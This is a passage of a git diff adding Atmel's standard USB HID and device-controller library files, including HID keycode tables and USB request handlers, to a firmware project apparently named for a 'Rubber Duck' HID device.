udd_g_ctrlreq.payload = report_desc; + udd_g_ctrlreq.payload_size = + min(udd_g_ctrlreq.req.wLength, + le16_to_cpu(ptr_hid_desc->wDescriptorLength)); + return true; + } + return false; +} + +//@} diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/usb/class/hid/device/udi_hid.h b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/usb/class/hid/device/udi_hid.h new file mode 100755 index 0000000..d12f8f3 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/usb/class/hid/device/udi_hid.h @@ -0,0 +1,82 @@ +/** + * \file + * + * \brief USB Device Human Interface Device (HID) interface definitions. + * + * Copyright (C) 2009 Atmel Corporation. All rights reserved. + * + * \page License + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an + * Atmel AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER + * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH + * DAMAGE. + */ + +#ifndef _UDI_HID_H_ +#define _UDI_HID_H_ + +#include "conf_usb.h" +#include "usb_protocol.h" +#include "usb_protocol_hid.h" +#include "udd.h" + +#ifdef __cplusplus +extern "C" { +#endif + +/** + * \ingroup udi_group + * \defgroup udi_hid_group UDI for Human Interface Device Class + * + * @{ + */ + +/** + * \name Interface for application + */ +//@{ + +/** + * \brief Decode HID setup request + * + * \param rate Pointer on rate of current HID interface + * \param protocol Pointer on protocol of current HID interface + * \param report_desc Pointer on report descriptor of current HID interface + * \param set_report Pointer on set_report callback of current HID interface + * + * \return \c 1 if function was successfully done, otherwise \c 0. + */ +bool udi_hid_setup( uint8_t *rate, uint8_t *protocol, uint8_t *report_desc, bool (*set_report)(void) ); + +//@} + +//@} + +#ifdef __cplusplus +} +#endif +#endif // _UDI_HID_H_ diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/usb/class/hid/usb_protocol_hid.h b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/usb/class/hid/usb_protocol_hid.h new file mode 100755 index 0000000..88b68ca --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/usb/class/hid/usb_protocol_hid.h @@ -0,0 +1,333 @@ +/** + * \file + * + * \brief USB Human Interface Device (HID) protocol definitions. + * + * Copyright (C) 2009 Atmel Corporation. All rights reserved. + * + * \page License + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an + * Atmel AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER + * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH + * DAMAGE. + */ + +#ifndef _USB_PROTOCOL_HID_H_ +#define _USB_PROTOCOL_HID_H_ + +/** + * \ingroup usb_protocol_group + * \defgroup usb_hid_protocol USB Human Interface Device (HID) + * protocol definitions + * \brief USB Human Interface Device (HID) protocol definitions + * + * @{ + */ + +/** + * \name Possible Class value + */ +//@{ +#define HID_CLASS 0x03 +//@} + +/** + * \name Possible SubClass value + */ +//@{ +//! Interface subclass NO support BOOT protocol +#define HID_SUB_CLASS_NOBOOT 0x00 +//! Interface subclass support BOOT protocol +#define HID_SUB_CLASS_BOOT 0x01 +//@} + +/** + * \name Possible protocol value + */ +//@{ +//! Protocol generic standard +#define HID_PROTOCOL_GENERIC 0x00 +//! Protocol keyboard standard +#define HID_PROTOCOL_KEYBOARD 0x01 +//! Protocol mouse standard +#define HID_PROTOCOL_MOUSE 0x02 +//@} + + +/** + * \brief Hid USB requests (bRequest) + */ +enum usb_reqid_hid { + USB_REQ_HID_GET_REPORT = 0x01, + USB_REQ_HID_GET_IDLE = 0x02, + USB_REQ_HID_GET_PROTOCOL = 0x03, + USB_REQ_HID_SET_REPORT = 0x09, + USB_REQ_HID_SET_IDLE = 0x0A, + USB_REQ_HID_SET_PROTOCOL = 0x0B, +}; + +/** + * \brief HID USB descriptor types + */ +enum usb_descriptor_type_hid { + USB_DT_HID = 0x21, + USB_DT_HID_REPORT = 0x22, + USB_DT_HID_PHYSICAL = 0x23, +}; + +/** + * \brief HID Type for report descriptor + */ +enum usb_hid_item_report_type { + USB_HID_ITEM_REPORT_TYPE_MAIN = 0, + USB_HID_ITEM_REPORT_TYPE_GLOBAL = 1, + USB_HID_ITEM_REPORT_TYPE_LOCAL = 2, + USB_HID_ITEM_REPORT_TYPE_LONG = 3, +}; + + +/** + * \brief HID report type + */ +enum usb_hid_report_type { + USB_HID_REPORT_TYPE_INPUT = 1, + USB_HID_REPORT_TYPE_OUTPUT = 2, + USB_HID_REPORT_TYPE_FEATURE = 3, +}; + + +/** + * \brief HID protocol + */ +enum usb_hid_protocol { + USB_HID_PROCOTOL_BOOT = 0, + USB_HID_PROCOTOL_REPORT = 1, +}; + +COMPILER_PACK_SET(1); + +/** + * \brief HID Descriptor + */ +typedef struct { + uint8_t bLength; //!< Size of this descriptor in bytes + uint8_t bDescriptorType; //!< HID descriptor type + le16_t bcdHID; //!< Binay Coded Decimal Spec. release + uint8_t bCountryCode; //!< Hardware target country + uint8_t bNumDescriptors; //!< Number of HID class descriptors to follow + uint8_t bRDescriptorType; //!< Report descriptor type + le16_t wDescriptorLength; //!< Total length of Report descriptor +} usb_hid_descriptor_t; + + //! \name Structure for report item + //! @{ + +COMPILER_PACK_RESET(); + + //! \name HID Report type + //! Used by SETUP_HID_GET_REPORT & SETUP_HID_SET_REPORT + //! @{ +#define REPORT_TYPE_INPUT 0x01 +#define REPORT_TYPE_OUTPUT 0x02 +#define REPORT_TYPE_FEATURE 0x03 + //! @} + + //! \name Constants of field DESCRIPTOR_HID + //! @{ +//! Numeric expression identifying the HID Class +//! Specification release (here V1.11) +#define USB_HID_BDC_V1_11 0x0111 +//! Numeric expression specifying the number of class descriptors +//! Note: Always at least one i.e. Report descriptor. +#define USB_HID_NUM_DESC 0x01 + + //! \name Country code + //! @{ +#define USB_HID_NO_COUNTRY_CODE 0 // Not Supported +#define USB_HID_COUNTRY_ARABIC 1 // Arabic +#define USB_HID_COUNTRY_BELGIAN 2 // Belgian +#define USB_HID_COUNTRY_CANADIAN_BILINGUAL 3 // Canadian-Bilingual +#define USB_HID_COUNTRY_CANADIAN_FRENCH 4 // Canadian-French +#define USB_HID_COUNTRY_CZECH_REPUBLIC 5 // Czech Republic +#define USB_HID_COUNTRY_DANISH 6 // Danish +#define USB_HID_COUNTRY_FINNISH 7 // Finnish +#define USB_HID_COUNTRY_FRENCH 8 // French +#define USB_HID_COUNTRY_GERMAN 9 // German +#define USB_HID_COUNTRY_GREEK 10 // Greek +#define USB_HID_COUNTRY_HEBREW 11 // Hebrew +#define USB_HID_COUNTRY_HUNGARY 12 // Hungary +#define USB_HID_COUNTRY_INTERNATIONAL_ISO 13 // International (ISO) +#define USB_HID_COUNTRY_ITALIAN 14 // Italian +#define USB_HID_COUNTRY_JAPAN_KATAKANA 15 // Japan (Katakana) +#define USB_HID_COUNTRY_KOREAN 16 // Korean +#define USB_HID_COUNTRY_LATIN_AMERICAN 17 // Latin American +#define USB_HID_COUNTRY_NETHERLANDS_DUTCH 18 // Netherlands/Dutch +#define USB_HID_COUNTRY_NORWEGIAN 19 // Norwegian +#define USB_HID_COUNTRY_PERSIAN_FARSI 20 // Persian (Farsi) +#define USB_HID_COUNTRY_POLAND 21 // Poland +#define USB_HID_COUNTRY_PORTUGUESE 22 // Portuguese +#define USB_HID_COUNTRY_RUSSIA 23 // Russia +#define USB_HID_COUNTRY_SLOVAKIA 24 // Slovakia +#define USB_HID_COUNTRY_SPANISH 25 // Spanish +#define USB_HID_COUNTRY_SWEDISH 26 // Swedish +#define USB_HID_COUNTRY_SWISS_FRENCH 27 // Swiss/French +#define USB_HID_COUNTRY_SWISS_GERMAN 28 // Swiss/German +#define USB_HID_COUNTRY_SWITZERLAND 29 // Switzerland +#define USB_HID_COUNTRY_TAIWAN 30 // Taiwan +#define USB_HID_COUNTRY_TURKISH_Q 31 // Turkish-Q +#define USB_HID_COUNTRY_UK 32 // UK +#define USB_HID_COUNTRY_US 33 // US +#define USB_HID_COUNTRY_YUGOSLAVIA 34 // Yugoslavia +#define USB_HID_COUNTRY_TURKISH_F 35 // Turkish-F + //! @} + //! @} +//! @} + + +//! \name HID KEYS values +//! @{ +#define HID_A 0x04 +#define HID_B 0x05 +#define HID_C 0x06 +#define HID_D 0x07 +#define HID_E 0x08 +#define HID_F 0x09 +#define HID_G 0x0A +#define HID_H 0x0B +#define HID_I 0x0C +#define HID_J 0x0D +#define HID_K 0x0E +#define HID_L 0x0F +#define HID_M 0x10 +#define HID_N 0x11 +#define HID_O 0x12 +#define HID_P 0x13 +#define HID_Q 0x14 +#define HID_R 0x15 +#define HID_S 0x16 +#define HID_T 0x17 +#define HID_U 0x18 +#define HID_V 0x19 +#define HID_W 0x1A +#define HID_X 0x1B +#define HID_Y 0x1C +#define HID_Z 0x1D +#define HID_1 30 +#define HID_2 31 +#define HID_3 32 +#define HID_4 33 +#define HID_5 34 +#define HID_6 35 +#define HID_7 36 +#define HID_8 37 +#define HID_9 38 +#define HID_0 39 +#define HID_ENTER 40 +#define HID_ESCAPE 41 +#define HID_BACKSPACE 42 +#define HID_TAB 43 +#define HID_SPACEBAR 44 +#define HID_UNDERSCORE 45 +#define HID_PLUS 46 +#define HID_OPEN_BRACKET 47 // { +#define HID_CLOSE_BRACKET 48 // } +#define HID_BACKSLASH 49 +#define HID_ASH 50 // # ~ +#define HID_COLON 51 // ; : +#define HID_QUOTE 52 // ' " +#define HID_TILDE 53 +#define HID_COMMA 54 +#define HID_DOT 55 +#define HID_SLASH 56 +#define HID_CAPS_LOCK 57 +#define HID_F1 58 +#define HID_F2 59 +#define HID_F3 60 +#define HID_F4 61 +#define HID_F5 62 +#define HID_F6 63 +#define HID_F7 64 +#define HID_F8 65 +#define HID_F9 66 +#define HID_F10 67 +#define HID_F11 68 +#define HID_F12 69 +#define HID_PRINTSCREEN 70 +#define HID_SCROLL_LOCK 71 +#define HID_PAUSE 72 +#define HID_INSERT 73 +#define HID_HOME 74 +#define HID_PAGEUP 75 +#define HID_DELETE 76 +#define HID_END 77 +#define HID_PAGEDOWN 78 +#define HID_RIGHT 79 +#define HID_LEFT 80 +#define HID_DOWN 81 +#define HID_UP 82 +#define HID_KEYPAD_NUM_LOCK 83 +#define HID_KEYPAD_DIVIDE 84 +#define HID_KEYPAD_AT 85 +#define HID_KEYPAD_MULTIPLY 85 +#define HID_KEYPAD_MINUS 86 +#define HID_KEYPAD_PLUS 87 +#define HID_KEYPAD_ENTER 88 +#define HID_KEYPAD_1 89 +#define HID_KEYPAD_2 90 +#define HID_KEYPAD_3 91 +#define HID_KEYPAD_4 92 +#define HID_KEYPAD_5 93 +#define HID_KEYPAD_6 94 +#define HID_KEYPAD_7 95 +#define HID_KEYPAD_8 96 +#define HID_KEYPAD_9 97 +#define HID_KEYPAD_0 98 + + //! \name HID modifier values + //! @{ +#define HID_MODIFIER_NONE 0x00 +#define HID_MODIFIER_LEFT_CTRL 0x01 +#define HID_MODIFIER_LEFT_SHIFT 0x02 +#define HID_MODIFIER_LEFT_ALT 0x04 +#define HID_MODIFIER_LEFT_UI 0x08 +#define HID_MODIFIER_RIGHT_CTRL 0x10 +#define HID_MODIFIER_RIGHT_SHIFT 0x20 +#define HID_MODIFIER_RIGHT_ALT 0x40 +#define HID_MODIFIER_RIGHT_UI 0x80 + //! @} +//! @} + +//! \name HID KEYS values +//! @{ +#define HID_LED_NUM_LOCK (1<<0) +#define HID_LED_CAPS_LOCK (1<<1) +#define HID_LED_SCROLL_LOCK (1<<2) +#define HID_LED_COMPOSE (1<<3) +#define HID_LED_KANA (1<<4) +//! @} + +#endif // _USB_PROTOCOL_HID_H_ diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/usb/udc/udc.c b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/usb/udc/udc.c new file mode 100755 index 0000000..76eba88 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/usb/udc/udc.c @@ -0,0 +1,1010 @@ +/** + * \file + * + * \brief USB Device Controller (UDC) + * + * Copyright (C) 2009 Atmel Corporation. All rights reserved. + * + * \page License + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an + * Atmel AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER + * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH + * DAMAGE. + */ + +#include "conf_usb.h" +#include "usb_protocol.h" +#include "udd.h" +#include "udc_desc.h" +#include "udi.h" +#include "udc.h" + +/** + * \addtogroup udc_group + * @{ + */ + +//! \name Internal variables to manage the USB device +//! @{ + +//! Device status state (see enum usb_device_status in usb_protocol.h) +static le16_t udc_device_status; +//! Device Configuration number selected by the USB host +static uint8_t udc_num_configuration = 0; +//! Pointer on the selected speed device configuration +static udc_config_speed_t UDC_DESC_STORAGE *udc_ptr_conf; +//! Pointer on interface descriptor used by SETUP request. +static usb_iface_desc_t UDC_DESC_STORAGE *udc_ptr_iface; + +//! @} + + +//! \name Internal structure to store the USB device main strings +//! @{ + +/** + * \brief Language ID of USB device (US ID by default) + */ +static UDC_DESC_STORAGE usb_str_lgid_desc_t udc_string_desc_languageid = { + .desc.bLength = sizeof(usb_str_lgid_desc_t), + .desc.bDescriptorType = USB_DT_STRING, + .string = {LE16(USB_LANGID_EN_US)} +}; + +/** + * \brief USB device manufacture name storage + * String is allocated only if USB_DEVICE_MANUFACTURE_NAME is declared + * by usb application configuration + */ +#ifdef USB_DEVICE_MANUFACTURE_NAME +static uint8_t udc_string_manufacturer_name[] = USB_DEVICE_MANUFACTURE_NAME; +#define USB_DEVICE_MANUFACTURE_NAME_SIZE (sizeof(udc_string_manufacturer_name)-1) +#else +#define USB_DEVICE_MANUFACTURE_NAME_SIZE 0 +#endif + + +/** + * \brief USB device product name storage + * String is allocated only if USB_DEVICE_PRODUCT_NAME is declared + * by usb application configuration + */ +#ifdef USB_DEVICE_PRODUCT_NAME +static uint8_t udc_string_product_name[] = USB_DEVICE_PRODUCT_NAME; +#define USB_DEVICE_PRODUCT_NAME_SIZE (sizeof(udc_string_product_name)-1) +#else +#define USB_DEVICE_PRODUCT_NAME_SIZE 0 +#endif + +/** + * \brief USB device serial number storage + * String is allocated only if USB_DEVICE_SERIAL_NAME is declared + * by usb application configuration + */ +#ifdef USB_DEVICE_SERIAL_NAME +static uint8_t udc_string_serial_name[] = USB_DEVICE_SERIAL_NAME; +#define USB_DEVICE_SERIAL_NAME_SIZE (sizeof(udc_string_serial_name)-1) +#else +#define USB_DEVICE_SERIAL_NAME_SIZE 0 +#endif + + +/** + * \brief USB device string descriptor + * Structure used to transfer ASCII strings to USB String descriptor structure. + */ +struct udc_string_desc_t { + usb_str_desc_t header; + le16_t string[Max(Max(USB_DEVICE_MANUFACTURE_NAME_SIZE, \ + USB_DEVICE_PRODUCT_NAME_SIZE), USB_DEVICE_SERIAL_NAME_SIZE)]; +}; +static UDC_DESC_STORAGE struct udc_string_desc_t udc_string_desc = { + .header.bDescriptorType = USB_DT_STRING +}; +//! @} + + + +usb_iface_desc_t UDC_DESC_STORAGE *udc_get_interface_desc(void) +{ + return udc_ptr_iface; +} + +/** + * \brief Returns a value to check the end of USB Configuration descriptor + * + * \return address after the last byte of USB Configuration descriptor + */ +static usb_conf_desc_t UDC_DESC_STORAGE *udc_get_eof_conf(void) +{ + return (UDC_DESC_STORAGE usb_conf_desc_t *) ((uint8_t *) + udc_ptr_conf->desc + + le16_to_cpu(udc_ptr_conf->desc->wTotalLength)); +} + + +#if (0!=USB_DEVICE_MAX_EP) +/** + * \brief Search specific descriptor in global interface descriptor + * + * \param desc Address of interface descriptor + * or previous specific descriptor found + * \param desc_id Descriptor ID to search + * + * \return address of specific descriptor found + * \return NULL if it is the end of global interface descriptor + */ +static usb_conf_desc_t UDC_DESC_STORAGE *udc_next_desc_in_iface(usb_conf_desc_t + UDC_DESC_STORAGE * desc, uint8_t desc_id) +{ + usb_conf_desc_t UDC_DESC_STORAGE *ptr_eof_desc; + + ptr_eof_desc = udc_get_eof_conf(); + // Go to next descriptor + desc = (UDC_DESC_STORAGE usb_conf_desc_t *) ((uint8_t *) desc + + desc->bLength); + // Check the end of configuration descriptor + while (ptr_eof_desc > desc) { + // If new interface descriptor is found, + // then it is the end of the current global interface descriptor + if (USB_DT_INTERFACE == desc->bDescriptorType) + break; // End of global interface descriptor + if (desc_id == desc->bDescriptorType) + return desc; // Specific descriptor found + // Go to next descriptor + desc = (UDC_DESC_STORAGE usb_conf_desc_t *) ((uint8_t *) desc + + desc->bLength); + } + return NULL; // No specific descriptor found +} +#endif + + +/** + * \brief Search an interface descriptor + * This routine updates the internal pointer udc_ptr_iface. + * + * \param iface_num Interface number to find in Configuration Descriptor + * \param setting_num Setting number of interface to find + * + * \return 1 if found or 0 if not found + */ +static bool udc_update_iface_desc(uint8_t iface_num, uint8_t setting_num) +{ + usb_conf_desc_t UDC_DESC_STORAGE *ptr_end_desc; + + if (0 == udc_num_configuration) + return false; + + if (iface_num >= udc_ptr_conf->desc->bNumInterfaces) + return false; + + // Start at the beginning of configuration descriptor + udc_ptr_iface = (UDC_DESC_STORAGE usb_iface_desc_t *) + udc_ptr_conf->desc; + + // Check the end of configuration descriptor + ptr_end_desc = udc_get_eof_conf(); + while (ptr_end_desc > + (UDC_DESC_STORAGE usb_conf_desc_t *) udc_ptr_iface) { + if (USB_DT_INTERFACE == udc_ptr_iface->bDescriptorType) { + // A interface descriptor is found + // Check interface and alternate setting number + if ((iface_num == udc_ptr_iface->bInterfaceNumber) + && (setting_num == + udc_ptr_iface-> + bAlternateSetting)) + return true; // Interface found + } + // Go to next descriptor + udc_ptr_iface = (UDC_DESC_STORAGE usb_iface_desc_t *) ((uint8_t + *) udc_ptr_iface + + udc_ptr_iface->bLength); + } + return false; // Interface not found +} + + +/** + * \brief Disables an usb device interface (UDI) + * This routine call the UDI corresponding to interface number + * + * \param iface_num Interface number to disable + * + * \return 1 if it is done or 0 if interface is not found + */ +static bool udc_iface_disable(uint8_t iface_num) +{ + udi_api_t UDC_DESC_STORAGE *udi_api; + + // Select first alternate setting of the interface to update udc_ptr_iface + // before call iface->getsetting() + if (!udc_update_iface_desc(iface_num, 0)) + return false; + + // Select the interface with the current alternate setting + udi_api = udc_ptr_conf->udi_apis[iface_num]; + +#if (0!=USB_DEVICE_MAX_EP) + if (!udc_update_iface_desc(iface_num, udi_api->getsetting())) + return false; + + // Start at the beginning of interface descriptor + { + usb_ep_desc_t UDC_DESC_STORAGE *ep_desc; + ep_desc = (UDC_DESC_STORAGE usb_ep_desc_t *) udc_ptr_iface; + while (1) { + // Search Endpoint descriptor included in global interface descriptor + ep_desc = (UDC_DESC_STORAGE usb_ep_desc_t *) + udc_next_desc_in_iface((UDC_DESC_STORAGE + usb_conf_desc_t *) + ep_desc, USB_DT_ENDPOINT); + if (NULL == ep_desc) + break; + // Free the endpoint used by the interface + udd_ep_free(ep_desc->bEndpointAddress); + } + } +#endif + + // Disable interface + udi_api->disable(); + return true; +} + + +/** + * \brief Enables an usb device interface (UDI) + * This routine calls the UDI corresponding + * to the interface and setting number. + * + * \param iface_num Interface number to enable + * \param setting_num Setting number to enable + * + * \return 1 if it is done or 0 if interface is not found + */ +static bool udc_iface_enable(uint8_t iface_num, uint8_t setting_num) +{ + // Select the interface descriptor + if (!udc_update_iface_desc(iface_num, setting_num)) + return false; + +#if (0!=USB_DEVICE_MAX_EP) + usb_ep_desc_t UDC_DESC_STORAGE *ep_desc; + + // Start at the beginning of the global interface descriptor + ep_desc = (UDC_DESC_STORAGE usb_ep_desc_t *) udc_ptr_iface; + while (1) { + // Search Endpoint descriptor included in the global interface descriptor + ep_desc = (UDC_DESC_STORAGE usb_ep_desc_t *) + udc_next_desc_in_iface((UDC_DESC_STORAGE + usb_conf_desc_t *) ep_desc, + USB_DT_ENDPOINT); + if (NULL == ep_desc) + break; + // Alloc the endpoint used by the interface + if (!udd_ep_alloc(ep_desc->bEndpointAddress, + ep_desc->bmAttributes, + le16_to_cpu + (ep_desc->wMaxPacketSize))) + return false; + } +#endif + // Enable the interface + return udc_ptr_conf->udi_apis[iface_num]->enable(); +} + + +/** + * \brief Reset the current configuration of the USB device, + * This routines can be called by UDD when a RESET on the USB line occurs. + */ +void udc_reset(void) +{ + uint8_t iface_num; + + if (udc_num_configuration) { + for (iface_num = 0; + iface_num < udc_ptr_conf->desc->bNumInterfaces; + iface_num++) { + udc_iface_disable(iface_num); + } + } + udc_num_configuration = 0; +#if (USB_CONFIG_ATTR_REMOTE_WAKEUP \ + == (USB_DEVICE_ATTR & USB_CONFIG_ATTR_REMOTE_WAKEUP)) + if (0 != (CPU_TO_LE16(USB_DEV_STATUS_REMOTEWAKEUP) & udc_device_status)) { + // Remote wakeup is enabled then disable it + UDC_REMOTEWAKEUP_DISABLE(); + } +#endif + udc_device_status = +#if (USB_DEVICE_ATTR & USB_CONFIG_ATTR_SELF_POWERED) + CPU_TO_LE16(USB_DEV_STATUS_SELF_POWERED); +#else + CPU_TO_LE16(USB_DEV_STATUS_BUS_POWERED); +#endif +} + + +/** + * \brief Standard device request to get device status + * + * \return true if success + */ +static bool udc_req_std_dev_get_status(void) +{ + if (udd_g_ctrlreq.req.wLength != sizeof(udc_device_status)) + return false; + + udd_set_setup_payload( + (uint8_t *) & udc_device_status, + sizeof(udc_device_status)); + return true; +} + + +#if (0!=USB_DEVICE_MAX_EP) +/** + * \brief Standard endpoint request to get endpoint status + * + * \return true if success + */ +static bool udc_req_std_ep_get_status(void) +{ + static le16_t udc_ep_status; + + if (udd_g_ctrlreq.req.wLength != sizeof(udc_ep_status)) + return false; + + udc_ep_status = udd_ep_is_halted(udd_g_ctrlreq.req. + wIndex & 0xFF) ? CPU_TO_LE16(USB_EP_STATUS_HALTED) : 0; + + udd_set_setup_payload( + (uint8_t *) & udc_ep_status, + sizeof(udc_ep_status)); + return true; +} +#endif + +/** + * \brief Standard device request to change device status + * + * \return true if success + */ +static bool udc_req_std_dev_clear_feature(void) +{ + if (udd_g_ctrlreq.req.wLength != 0) + return false; + + if (udd_g_ctrlreq.req.wValue == USB_DEV_FEATURE_REMOTE_WAKEUP) { + udc_device_status &= CPU_TO_LE16(~USB_DEV_STATUS_REMOTEWAKEUP); +#if (USB_CONFIG_ATTR_REMOTE_WAKEUP \ + == (USB_DEVICE_ATTR & USB_CONFIG_ATTR_REMOTE_WAKEUP)) + UDC_REMOTEWAKEUP_DISABLE(); +#endif + return true; + } + return false; +} + + +#if (0!=USB_DEVICE_MAX_EP) +/** + * \brief Standard endpoint request to clear endpoint feature + * + * \return true if success + */ +static bool udc_req_std_ep_clear_feature(void) +{ + if (udd_g_ctrlreq.req.wLength != 0) + return false; + + if (udd_g_ctrlreq.req.wValue == USB_EP_FEATURE_HALT) { + return udd_ep_clear_halt(udd_g_ctrlreq.req.wIndex & 0xFF); + } + return false; +} +#endif + + +/** + * \brief Standard device request to set a feature + * + * \return true if success + */ +static bool udc_req_std_dev_set_feature(void) +{ + if (udd_g_ctrlreq.req.wLength != 0) + return false; + + switch (udd_g_ctrlreq.req.wValue) { + + case USB_DEV_FEATURE_REMOTE_WAKEUP: +#if (USB_CONFIG_ATTR_REMOTE_WAKEUP \ + == (USB_DEVICE_ATTR & USB_CONFIG_ATTR_REMOTE_WAKEUP)) + udc_device_status |= CPU_TO_LE16(USB_DEV_STATUS_REMOTEWAKEUP); + UDC_REMOTEWAKEUP_ENABLE(); + return true; +#else + return false; +#endif + +#ifdef USB_DEVICE_HS_SUPPORT + case USB_DEV_FEATURE_TEST_MODE: + if (!udd_is_high_speed()) + break; + if (udd_g_ctrlreq.req.wIndex & 0xff) + break; + // Unconfigure the device, terminating all ongoing requests + udc_reset(); + switch ((udd_g_ctrlreq.req.wIndex >> 8) & 0xFF) { + case USB_DEV_TEST_MODE_J: + udd_g_ctrlreq.callback = udd_test_mode_j; + return true; + + case USB_DEV_TEST_MODE_K: + udd_g_ctrlreq.callback = udd_test_mode_k; + return true; + + case USB_DEV_TEST_MODE_SE0_NAK: + udd_g_ctrlreq.callback = udd_test_mode_se0_nak; + return true; + + case USB_DEV_TEST_MODE_PACKET: + udd_g_ctrlreq.callback = udd_test_mode_packet; + return true; + + case USB_DEV_TEST_MODE_FORCE_ENABLE: // Only for downstream facing hub ports + default: + break; + } + break; +#endif + +#ifdef USB_OTG + // TODO + case USB_DEV_FEATURE_OTG_B_HNP_ENABLE: + break; + case USB_DEV_FEATURE_OTG_A_HNP_SUPPORT: + break; + case USB_DEV_FEATURE_OTG_A_ALT_HNP_SUPPORT: + break; +#endif + } + return false; +} + + +/** + * \brief Standard endpoint request to halt an endpoint + * + * \return true if success + */ +#if (0!=USB_DEVICE_MAX_EP) +static bool udc_req_std_epset_feature(void) +{ + if (udd_g_ctrlreq.req.wLength != 0) + return false; + if (udd_g_ctrlreq.req.wValue == USB_EP_FEATURE_HALT) { + return udd_ep_set_halt(udd_g_ctrlreq.req.wIndex & 0xFF); + } + return false; +} +#endif + +/** + * \brief Change the address of device + * Callback called at the end of request set address + */ +static void udc_valid_address(void) +{ + udd_set_address(udd_g_ctrlreq.req.wValue & 0x7F); +} + + +/** + * \brief Standard device request to set device address + * + * \return true if success + */ +static bool udc_req_std_dev_set_address(void) +{ + if (udd_g_ctrlreq.req.wLength != 0) + return false; + + // The address must be changed at the end of setup request after the handshake + // then we use a callback to change address + udd_g_ctrlreq.callback = udc_valid_address; + return true; +} + + +/** + * \brief Standard device request to get device string descriptor + * + * \return true if success + */ +static bool udc_req_std_dev_get_str_desc(void) +{ + uint8_t i; + uint8_t *str; + uint8_t str_lgt=0; + + // Link payload pointer to the string corresponding at request + switch (udd_g_ctrlreq.req.wValue & 0xff) { + case 0: + 